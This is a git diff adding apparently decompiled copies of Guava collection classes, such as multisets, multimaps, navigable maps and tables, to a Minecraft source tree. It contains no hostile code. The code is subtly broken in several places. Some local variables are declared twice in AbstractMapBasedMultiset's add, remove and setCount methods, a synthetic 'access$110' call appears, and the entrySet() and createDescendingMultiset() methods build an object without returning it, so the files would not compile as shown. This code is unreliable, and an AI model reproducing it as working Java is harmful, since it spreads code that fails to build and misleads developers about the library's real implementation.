+      AbstractMapBasedMultiset.access$110(AbstractMapBasedMultiset.this);
+      canRemove = false;
+    }
+  }
+  
+  public int count(@Nullable Object element) {
+    Count frequency = (Count)Maps.safeGet(backingMap, element);
+    return frequency == null ? 0 : frequency.get();
+  }
+  
+
+
+
+
+
+
+
+
+  public int add(@Nullable E element, int occurrences)
+  {
+    if (occurrences == 0) {
+      return count(element);
+    }
+    Preconditions.checkArgument(occurrences > 0, "occurrences cannot be negative: %s", new Object[] { Integer.valueOf(occurrences) });
+    
+    Count frequency = (Count)backingMap.get(element);
+    int oldCount;
+    if (frequency == null) {
+      int oldCount = 0;
+      backingMap.put(element, new Count(occurrences));
+    } else {
+      oldCount = frequency.get();
+      long newCount = oldCount + occurrences;
+      Preconditions.checkArgument(newCount <= 2147483647L, "too many occurrences: %s", new Object[] { Long.valueOf(newCount) });
+      
+      frequency.getAndAdd(occurrences);
+    }
+    size += occurrences;
+    return oldCount;
+  }
+  
+  public int remove(@Nullable Object element, int occurrences) {
+    if (occurrences == 0) {
+      return count(element);
+    }
+    Preconditions.checkArgument(occurrences > 0, "occurrences cannot be negative: %s", new Object[] { Integer.valueOf(occurrences) });
+    
+    Count frequency = (Count)backingMap.get(element);
+    if (frequency == null) {
+      return 0;
+    }
+    
+    int oldCount = frequency.get();
+    int numberRemoved;
+    int numberRemoved;
+    if (oldCount > occurrences) {
+      numberRemoved = occurrences;
+    } else {
+      numberRemoved = oldCount;
+      backingMap.remove(element);
+    }
+    
+    frequency.addAndGet(-numberRemoved);
+    size -= numberRemoved;
+    return oldCount;
+  }
+  
+  public int setCount(@Nullable E element, int count)
+  {
+    CollectPreconditions.checkNonnegative(count, "count");
+    
+    int oldCount;
+    int oldCount;
+    if (count == 0) {
+      Count existingCounter = (Count)backingMap.remove(element);
+      oldCount = getAndSet(existingCounter, count);
+    } else {
+      Count existingCounter = (Count)backingMap.get(element);
+      oldCount = getAndSet(existingCounter, count);
+      
+      if (existingCounter == null) {
+        backingMap.put(element, new Count(count));
+      }
+    }
+    
+    size += count - oldCount;
+    return oldCount;
+  }
+  
+  private static int getAndSet(Count i, int count) {
+    if (i == null) {
+      return 0;
+    }
+    
+    return i.getAndSet(count);
+  }
+  
+  @GwtIncompatible("java.io.ObjectStreamException")
+  private void readObjectNoData()
+    throws ObjectStreamException
+  {
+    throw new InvalidObjectException("Stream data required");
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractMapEntry.java b/src/minecraft/com/google/common/collect/AbstractMapEntry.java
new file mode 100644
index 0000000..409560e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractMapEntry.java
@@ -0,0 +1,67 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractMapEntry<K, V>
+  implements Map.Entry<K, V>
+{
+  AbstractMapEntry() {}
+  
+  public abstract K getKey();
+  
+  public abstract V getValue();
+  
+  public V setValue(V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if ((object instanceof Map.Entry)) {
+      Map.Entry<?, ?> that = (Map.Entry)object;
+      return (Objects.equal(getKey(), that.getKey())) && (Objects.equal(getValue(), that.getValue()));
+    }
+    
+    return false;
+  }
+  
+  public int hashCode() {
+    K k = getKey();
+    V v = getValue();
+    return (k == null ? 0 : k.hashCode()) ^ (v == null ? 0 : v.hashCode());
+  }
+  
+
+
+  public String toString()
+  {
+    return getKey() + "=" + getValue();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractMultimap.java b/src/minecraft/com/google/common/collect/AbstractMultimap.java
new file mode 100644
index 0000000..f9cb824
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractMultimap.java
@@ -0,0 +1,241 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.AbstractCollection;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractMultimap<K, V>
+  implements Multimap<K, V>
+{
+  private transient Collection<Map.Entry<K, V>> entries;
+  private transient Set<K> keySet;
+  private transient Multiset<K> keys;
+  private transient Collection<V> values;
+  private transient Map<K, Collection<V>> asMap;
+  
+  AbstractMultimap() {}
+  
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    for (Collection<V> collection : asMap().values()) {
+      if (collection.contains(value)) {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean containsEntry(@Nullable Object key, @Nullable Object value)
+  {
+    Collection<V> collection = (Collection)asMap().get(key);
+    return (collection != null) && (collection.contains(value));
+  }
+  
+  public boolean remove(@Nullable Object key, @Nullable Object value)
+  {
+    Collection<V> collection = (Collection)asMap().get(key);
+    return (collection != null) && (collection.remove(value));
+  }
+  
+  public boolean put(@Nullable K key, @Nullable V value)
+  {
+    return get(key).add(value);
+  }
+  
+  public boolean putAll(@Nullable K key, Iterable<? extends V> values)
+  {
+    Preconditions.checkNotNull(values);
+    
+
+    if ((values instanceof Collection)) {
+      Collection<? extends V> valueCollection = (Collection)values;
+      return (!valueCollection.isEmpty()) && (get(key).addAll(valueCollection));
+    }
+    Iterator<? extends V> valueItr = values.iterator();
+    return (valueItr.hasNext()) && (Iterators.addAll(get(key), valueItr));
+  }
+  
+
+  public boolean putAll(Multimap<? extends K, ? extends V> multimap)
+  {
+    boolean changed = false;
+    for (Map.Entry<? extends K, ? extends V> entry : multimap.entries()) {
+      changed |= put(entry.getKey(), entry.getValue());
+    }
+    return changed;
+  }
+  
+  public Collection<V> replaceValues(@Nullable K key, Iterable<? extends V> values)
+  {
+    Preconditions.checkNotNull(values);
+    Collection<V> result = removeAll(key);
+    putAll(key, values);
+    return result;
+  }
+  
+
+
+  public Collection<Map.Entry<K, V>> entries()
+  {
+    Collection<Map.Entry<K, V>> result = entries;
+    return result == null ? (this.entries = createEntries()) : result;
+  }
+  
+  Collection<Map.Entry<K, V>> createEntries() {
+    if ((this instanceof SetMultimap)) {
+      return new EntrySet(null);
+    }
+    return new Entries(null);
+  }
+  
+  abstract Iterator<Map.Entry<K, V>> entryIterator();
+  
+  private class Entries extends Multimaps.Entries<K, V> { private Entries() {}
+    
+    Multimap<K, V> multimap() { return AbstractMultimap.this; }
+    
+
+
+
+    public Iterator<Map.Entry<K, V>> iterator() { return entryIterator(); }
+  }
+  
+  private class EntrySet extends AbstractMultimap<K, V>.Entries implements Set<Map.Entry<K, V>> {
+    private EntrySet() { super(null); }
+    
+    public int hashCode() {
+      return Sets.hashCodeImpl(this);
+    }
+    
+    public boolean equals(@Nullable Object obj)
+    {
+      return Sets.equalsImpl(this, obj);
+    }
+  }
+  
+
+
+
+
+  public Set<K> keySet()
+  {
+    Set<K> result = keySet;
+    return result == null ? (this.keySet = createKeySet()) : result;
+  }
+  
+  Set<K> createKeySet() {
+    return new Maps.KeySet(asMap());
+  }
+  
+
+
+  public Multiset<K> keys()
+  {
+    Multiset<K> result = keys;
+    return result == null ? (this.keys = createKeys()) : result;
+  }
+  
+  Multiset<K> createKeys() {
+    return new Multimaps.Keys(this);
+  }
+  
+
+
+  public Collection<V> values()
+  {
+    Collection<V> result = values;
+    return result == null ? (this.values = createValues()) : result;
+  }
+  
+
+  Collection<V> createValues() { return new Values(); }
+  
+  class Values extends AbstractCollection<V> {
+    Values() {}
+    
+    public Iterator<V> iterator() { return valueIterator(); }
+    
+    public int size()
+    {
+      return AbstractMultimap.this.size();
+    }
+    
+    public boolean contains(@Nullable Object o) {
+      return containsValue(o);
+    }
+    
+    public void clear() {
+      AbstractMultimap.this.clear();
+    }
+  }
+  
+  Iterator<V> valueIterator() {
+    return Maps.valueIterator(entries().iterator());
+  }
+  
+
+
+  public Map<K, Collection<V>> asMap()
+  {
+    Map<K, Collection<V>> result = asMap;
+    return result == null ? (this.asMap = createAsMap()) : result;
+  }
+  
+
+  abstract Map<K, Collection<V>> createAsMap();
+  
+  public boolean equals(@Nullable Object object)
+  {
+    return Multimaps.equalsImpl(this, object);
+  }
+  
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return asMap().hashCode();
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    return asMap().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractMultiset.java b/src/minecraft/com/google/common/collect/AbstractMultiset.java
new file mode 100644
index 0000000..519f6c4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractMultiset.java
@@ -0,0 +1,221 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import java.util.AbstractCollection;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractMultiset<E>
+  extends AbstractCollection<E>
+  implements Multiset<E>
+{
+  private transient Set<E> elementSet;
+  private transient Set<Multiset.Entry<E>> entrySet;
+  
+  AbstractMultiset() {}
+  
+  public int size()
+  {
+    return Multisets.sizeImpl(this);
+  }
+  
+  public boolean isEmpty() {
+    return entrySet().isEmpty();
+  }
+  
+  public boolean contains(@Nullable Object element) {
+    return count(element) > 0;
+  }
+  
+  public Iterator<E> iterator() {
+    return Multisets.iteratorImpl(this);
+  }
+  
+  public int count(@Nullable Object element)
+  {
+    for (Multiset.Entry<E> entry : entrySet()) {
+      if (Objects.equal(entry.getElement(), element)) {
+        return entry.getCount();
+      }
+    }
+    return 0;
+  }
+  
+
+  public boolean add(@Nullable E element)
+  {
+    add(element, 1);
+    return true;
+  }
+  
+  public int add(@Nullable E element, int occurrences)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean remove(@Nullable Object element) {
+    return remove(element, 1) > 0;
+  }
+  
+  public int remove(@Nullable Object element, int occurrences)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int setCount(@Nullable E element, int count)
+  {
+    return Multisets.setCountImpl(this, element, count);
+  }
+  
+  public boolean setCount(@Nullable E element, int oldCount, int newCount)
+  {
+    return Multisets.setCountImpl(this, element, oldCount, newCount);
+  }
+  
+
+
+
+
+
+
+
+  public boolean addAll(Collection<? extends E> elementsToAdd)
+  {
+    return Multisets.addAllImpl(this, elementsToAdd);
+  }
+  
+  public boolean removeAll(Collection<?> elementsToRemove) {
+    return Multisets.removeAllImpl(this, elementsToRemove);
+  }
+  
+  public boolean retainAll(Collection<?> elementsToRetain) {
+    return Multisets.retainAllImpl(this, elementsToRetain);
+  }
+  
+  public void clear() {
+    Iterators.clear(entryIterator());
+  }
+  
+
+
+
+
+  public Set<E> elementSet()
+  {
+    Set<E> result = elementSet;
+    if (result == null) {
+      elementSet = (result = createElementSet());
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  Set<E> createElementSet() { return new ElementSet(); }
+  
+  abstract Iterator<Multiset.Entry<E>> entryIterator();
+  
+  class ElementSet extends Multisets.ElementSet<E> { ElementSet() {}
+    
+    Multiset<E> multiset() { return AbstractMultiset.this; }
+  }
+  
+
+
+  abstract int distinctElements();
+  
+
+
+  public Set<Multiset.Entry<E>> entrySet()
+  {
+    Set<Multiset.Entry<E>> result = entrySet;
+    return result == null ? (this.entrySet = createEntrySet()) : result;
+  }
+  
+  class EntrySet extends Multisets.EntrySet<E> { EntrySet() {}
+    
+    Multiset<E> multiset() { return AbstractMultiset.this; }
+    
+    public Iterator<Multiset.Entry<E>> iterator()
+    {
+      return entryIterator();
+    }
+    
+    public int size() {
+      return distinctElements();
+    }
+  }
+  
+  Set<Multiset.Entry<E>> createEntrySet() {
+    return new EntrySet();
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(@Nullable Object object)
+  {
+    return Multisets.equalsImpl(this, object);
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return entrySet().hashCode();
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return entrySet().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractNavigableMap.java b/src/minecraft/com/google/common/collect/AbstractNavigableMap.java
new file mode 100644
index 0000000..3aaa835
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractNavigableMap.java
@@ -0,0 +1,197 @@
+package com.google.common.collect;
+
+import java.util.AbstractMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NavigableSet;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractNavigableMap<K, V>
+  extends AbstractMap<K, V>
+  implements NavigableMap<K, V>
+{
+  AbstractNavigableMap() {}
+  
+  @Nullable
+  public abstract V get(@Nullable Object paramObject);
+  
+  @Nullable
+  public Map.Entry<K, V> firstEntry()
+  {
+    return (Map.Entry)Iterators.getNext(entryIterator(), null);
+  }
+  
+  @Nullable
+  public Map.Entry<K, V> lastEntry()
+  {
+    return (Map.Entry)Iterators.getNext(descendingEntryIterator(), null);
+  }
+  
+  @Nullable
+  public Map.Entry<K, V> pollFirstEntry()
+  {
+    return (Map.Entry)Iterators.pollNext(entryIterator());
+  }
+  
+  @Nullable
+  public Map.Entry<K, V> pollLastEntry()
+  {
+    return (Map.Entry)Iterators.pollNext(descendingEntryIterator());
+  }
+  
+  public K firstKey()
+  {
+    Map.Entry<K, V> entry = firstEntry();
+    if (entry == null) {
+      throw new NoSuchElementException();
+    }
+    return entry.getKey();
+  }
+  
+
+  public K lastKey()
+  {
+    Map.Entry<K, V> entry = lastEntry();
+    if (entry == null) {
+      throw new NoSuchElementException();
+    }
+    return entry.getKey();
+  }
+  
+
+  @Nullable
+  public Map.Entry<K, V> lowerEntry(K key)
+  {
+    return headMap(key, false).lastEntry();
+  }
+  
+  @Nullable
+  public Map.Entry<K, V> floorEntry(K key)
+  {
+    return headMap(key, true).lastEntry();
+  }
+  
+  @Nullable
+  public Map.Entry<K, V> ceilingEntry(K key)
+  {
+    return tailMap(key, true).firstEntry();
+  }
+  
+  @Nullable
+  public Map.Entry<K, V> higherEntry(K key)
+  {
+    return tailMap(key, false).firstEntry();
+  }
+  
+  public K lowerKey(K key)
+  {
+    return Maps.keyOrNull(lowerEntry(key));
+  }
+  
+  public K floorKey(K key)
+  {
+    return Maps.keyOrNull(floorEntry(key));
+  }
+  
+  public K ceilingKey(K key)
+  {
+    return Maps.keyOrNull(ceilingEntry(key));
+  }
+  
+  public K higherKey(K key)
+  {
+    return Maps.keyOrNull(higherEntry(key));
+  }
+  
+  abstract Iterator<Map.Entry<K, V>> entryIterator();
+  
+  abstract Iterator<Map.Entry<K, V>> descendingEntryIterator();
+  
+  public SortedMap<K, V> subMap(K fromKey, K toKey)
+  {
+    return subMap(fromKey, true, toKey, false);
+  }
+  
+  public SortedMap<K, V> headMap(K toKey)
+  {
+    return headMap(toKey, false);
+  }
+  
+  public SortedMap<K, V> tailMap(K fromKey)
+  {
+    return tailMap(fromKey, true);
+  }
+  
+  public NavigableSet<K> navigableKeySet()
+  {
+    return new Maps.NavigableKeySet(this);
+  }
+  
+  public Set<K> keySet()
+  {
+    return navigableKeySet();
+  }
+  
+
+  public abstract int size();
+  
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    new Maps.EntrySet()
+    {
+      Map<K, V> map() {
+        return AbstractNavigableMap.this;
+      }
+      
+      public Iterator<Map.Entry<K, V>> iterator()
+      {
+        return entryIterator();
+      }
+    };
+  }
+  
+  public NavigableSet<K> descendingKeySet()
+  {
+    return descendingMap().navigableKeySet();
+  }
+  
+  public NavigableMap<K, V> descendingMap()
+  {
+    return new DescendingMap(null);
+  }
+  
+  private final class DescendingMap extends Maps.DescendingMap<K, V> {
+    private DescendingMap() {}
+    
+    NavigableMap<K, V> forward() { return AbstractNavigableMap.this; }
+    
+
+    Iterator<Map.Entry<K, V>> entryIterator()
+    {
+      return descendingEntryIterator();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractRangeSet.java b/src/minecraft/com/google/common/collect/AbstractRangeSet.java
new file mode 100644
index 0000000..76c0fd1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractRangeSet.java
@@ -0,0 +1,102 @@
+package com.google.common.collect;
+
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractRangeSet<C extends Comparable>
+  implements RangeSet<C>
+{
+  AbstractRangeSet() {}
+  
+  public boolean contains(C value)
+  {
+    return rangeContaining(value) != null;
+  }
+  
+
+  public abstract Range<C> rangeContaining(C paramC);
+  
+  public boolean isEmpty()
+  {
+    return asRanges().isEmpty();
+  }
+  
+  public void add(Range<C> range)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void remove(Range<C> range)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void clear()
+  {
+    remove(Range.all());
+  }
+  
+  public boolean enclosesAll(RangeSet<C> other)
+  {
+    for (Range<C> range : other.asRanges()) {
+      if (!encloses(range)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public void addAll(RangeSet<C> other)
+  {
+    for (Range<C> range : other.asRanges()) {
+      add(range);
+    }
+  }
+  
+  public void removeAll(RangeSet<C> other)
+  {
+    for (Range<C> range : other.asRanges()) {
+      remove(range);
+    }
+  }
+  
+
+  public abstract boolean encloses(Range<C> paramRange);
+  
+  public boolean equals(@Nullable Object obj)
+  {
+    if (obj == this)
+      return true;
+    if ((obj instanceof RangeSet)) {
+      RangeSet<?> other = (RangeSet)obj;
+      return asRanges().equals(other.asRanges());
+    }
+    return false;
+  }
+  
+  public final int hashCode()
+  {
+    return asRanges().hashCode();
+  }
+  
+  public final String toString()
+  {
+    return asRanges().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractSequentialIterator.java b/src/minecraft/com/google/common/collect/AbstractSequentialIterator.java
new file mode 100644
index 0000000..a98baf1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractSequentialIterator.java
@@ -0,0 +1,80 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.NoSuchElementException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class AbstractSequentialIterator<T>
+  extends UnmodifiableIterator<T>
+{
+  private T nextOrNull;
+  
+  protected AbstractSequentialIterator(@Nullable T firstOrNull)
+  {
+    nextOrNull = firstOrNull;
+  }
+  
+
+
+
+  protected abstract T computeNext(T paramT);
+  
+
+
+
+  public final boolean hasNext()
+  {
+    return nextOrNull != null;
+  }
+  
+  public final T next()
+  {
+    if (!hasNext()) {
+      throw new NoSuchElementException();
+    }
+    try {
+      return nextOrNull;
+    } finally {
+      nextOrNull = computeNext(nextOrNull);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractSetMultimap.java b/src/minecraft/com/google/common/collect/AbstractSetMultimap.java
new file mode 100644
index 0000000..857fa5c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractSetMultimap.java
@@ -0,0 +1,134 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractSetMultimap<K, V>
+  extends AbstractMapBasedMultimap<K, V>
+  implements SetMultimap<K, V>
+{
+  private static final long serialVersionUID = 7431625294878419160L;
+  
+  protected AbstractSetMultimap(Map<K, Collection<V>> map)
+  {
+    super(map);
+  }
+  
+  abstract Set<V> createCollection();
+  
+  Set<V> createUnmodifiableEmptyCollection() {
+    return ImmutableSet.of();
+  }
+  
+
+
+
+
+
+
+
+
+  public Set<V> get(@Nullable K key)
+  {
+    return (Set)super.get(key);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, V>> entries()
+  {
+    return (Set)super.entries();
+  }
+  
+
+
+
+
+
+
+  public Set<V> removeAll(@Nullable Object key)
+  {
+    return (Set)super.removeAll(key);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Set<V> replaceValues(@Nullable K key, Iterable<? extends V> values)
+  {
+    return (Set)super.replaceValues(key, values);
+  }
+  
+
+
+
+
+
+  public Map<K, Collection<V>> asMap()
+  {
+    return super.asMap();
+  }
+  
+
+
+
+
+
+
+
+  public boolean put(@Nullable K key, @Nullable V value)
+  {
+    return super.put(key, value);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(@Nullable Object object)
+  {
+    return super.equals(object);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractSortedKeySortedSetMultimap.java b/src/minecraft/com/google/common/collect/AbstractSortedKeySortedSetMultimap.java
new file mode 100644
index 0000000..35743aa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractSortedKeySortedSetMultimap.java
@@ -0,0 +1,55 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.SortedMap;
+import java.util.SortedSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractSortedKeySortedSetMultimap<K, V>
+  extends AbstractSortedSetMultimap<K, V>
+{
+  AbstractSortedKeySortedSetMultimap(SortedMap<K, Collection<V>> map)
+  {
+    super(map);
+  }
+  
+  public SortedMap<K, Collection<V>> asMap()
+  {
+    return (SortedMap)super.asMap();
+  }
+  
+  SortedMap<K, Collection<V>> backingMap()
+  {
+    return (SortedMap)super.backingMap();
+  }
+  
+  public SortedSet<K> keySet()
+  {
+    return (SortedSet)super.keySet();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractSortedMultiset.java b/src/minecraft/com/google/common/collect/AbstractSortedMultiset.java
new file mode 100644
index 0000000..f7409b4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractSortedMultiset.java
@@ -0,0 +1,142 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+abstract class AbstractSortedMultiset<E>
+  extends AbstractMultiset<E>
+  implements SortedMultiset<E>
+{
+  @GwtTransient
+  final Comparator<? super E> comparator;
+  private transient SortedMultiset<E> descendingMultiset;
+  
+  AbstractSortedMultiset()
+  {
+    this(Ordering.natural());
+  }
+  
+  AbstractSortedMultiset(Comparator<? super E> comparator) {
+    this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+  }
+  
+  public NavigableSet<E> elementSet()
+  {
+    return (NavigableSet)super.elementSet();
+  }
+  
+  NavigableSet<E> createElementSet()
+  {
+    return new SortedMultisets.NavigableElementSet(this);
+  }
+  
+  public Comparator<? super E> comparator()
+  {
+    return comparator;
+  }
+  
+  public Multiset.Entry<E> firstEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = entryIterator();
+    return entryIterator.hasNext() ? (Multiset.Entry)entryIterator.next() : null;
+  }
+  
+  public Multiset.Entry<E> lastEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = descendingEntryIterator();
+    return entryIterator.hasNext() ? (Multiset.Entry)entryIterator.next() : null;
+  }
+  
+  public Multiset.Entry<E> pollFirstEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = entryIterator();
+    if (entryIterator.hasNext()) {
+      Multiset.Entry<E> result = (Multiset.Entry)entryIterator.next();
+      result = Multisets.immutableEntry(result.getElement(), result.getCount());
+      entryIterator.remove();
+      return result;
+    }
+    return null;
+  }
+  
+  public Multiset.Entry<E> pollLastEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = descendingEntryIterator();
+    if (entryIterator.hasNext()) {
+      Multiset.Entry<E> result = (Multiset.Entry)entryIterator.next();
+      result = Multisets.immutableEntry(result.getElement(), result.getCount());
+      entryIterator.remove();
+      return result;
+    }
+    return null;
+  }
+  
+
+
+  public SortedMultiset<E> subMultiset(@Nullable E fromElement, BoundType fromBoundType, @Nullable E toElement, BoundType toBoundType)
+  {
+    Preconditions.checkNotNull(fromBoundType);
+    Preconditions.checkNotNull(toBoundType);
+    return tailMultiset(fromElement, fromBoundType).headMultiset(toElement, toBoundType);
+  }
+  
+  abstract Iterator<Multiset.Entry<E>> descendingEntryIterator();
+  
+  Iterator<E> descendingIterator() {
+    return Multisets.iteratorImpl(descendingMultiset());
+  }
+  
+
+
+  public SortedMultiset<E> descendingMultiset()
+  {
+    SortedMultiset<E> result = descendingMultiset;
+    return result == null ? (this.descendingMultiset = createDescendingMultiset()) : result;
+  }
+  
+  SortedMultiset<E> createDescendingMultiset() {
+    new DescendingMultiset()
+    {
+      SortedMultiset<E> forwardMultiset() {
+        return AbstractSortedMultiset.this;
+      }
+      
+      Iterator<Multiset.Entry<E>> entryIterator()
+      {
+        return descendingEntryIterator();
+      }
+      
+      public Iterator<E> iterator()
+      {
+        return descendingIterator();
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractSortedSetMultimap.java b/src/minecraft/com/google/common/collect/AbstractSortedSetMultimap.java
new file mode 100644
index 0000000..88112b9
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractSortedSetMultimap.java
@@ -0,0 +1,135 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractSortedSetMultimap<K, V>
+  extends AbstractSetMultimap<K, V>
+  implements SortedSetMultimap<K, V>
+{
+  private static final long serialVersionUID = 430848587173315748L;
+  
+  protected AbstractSortedSetMultimap(Map<K, Collection<V>> map)
+  {
+    super(map);
+  }
+  
+
+  abstract SortedSet<V> createCollection();
+  
+  SortedSet<V> createUnmodifiableEmptyCollection()
+  {
+    Comparator<? super V> comparator = valueComparator();
+    if (comparator == null) {
+      return Collections.unmodifiableSortedSet(createCollection());
+    }
+    return ImmutableSortedSet.emptySet(valueComparator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SortedSet<V> get(@Nullable K key)
+  {
+    return (SortedSet)super.get(key);
+  }
+  
+
+
+
+
+
+
+
+  public SortedSet<V> removeAll(@Nullable Object key)
+  {
+    return (SortedSet)super.removeAll(key);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public SortedSet<V> replaceValues(@Nullable K key, Iterable<? extends V> values)
+  {
+    return (SortedSet)super.replaceValues(key, values);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map<K, Collection<V>> asMap()
+  {
+    return super.asMap();
+  }
+  
+
+
+
+
+
+  public Collection<V> values()
+  {
+    return super.values();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractTable.java b/src/minecraft/com/google/common/collect/AbstractTable.java
new file mode 100644
index 0000000..2de9dd1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractTable.java
@@ -0,0 +1,216 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractTable<R, C, V>
+  implements Table<R, C, V>
+{
+  private transient Set<Table.Cell<R, C, V>> cellSet;
+  private transient Collection<V> values;
+  
+  AbstractTable() {}
+  
+  public boolean containsRow(@Nullable Object rowKey)
+  {
+    return Maps.safeContainsKey(rowMap(), rowKey);
+  }
+  
+  public boolean containsColumn(@Nullable Object columnKey)
+  {
+    return Maps.safeContainsKey(columnMap(), columnKey);
+  }
+  
+  public Set<R> rowKeySet()
+  {
+    return rowMap().keySet();
+  }
+  
+  public Set<C> columnKeySet()
+  {
+    return columnMap().keySet();
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    for (Map<C, V> row : rowMap().values()) {
+      if (row.containsValue(value)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public boolean contains(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    Map<C, V> row = (Map)Maps.safeGet(rowMap(), rowKey);
+    return (row != null) && (Maps.safeContainsKey(row, columnKey));
+  }
+  
+  public V get(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    Map<C, V> row = (Map)Maps.safeGet(rowMap(), rowKey);
+    return row == null ? null : Maps.safeGet(row, columnKey);
+  }
+  
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+  public void clear()
+  {
+    Iterators.clear(cellSet().iterator());
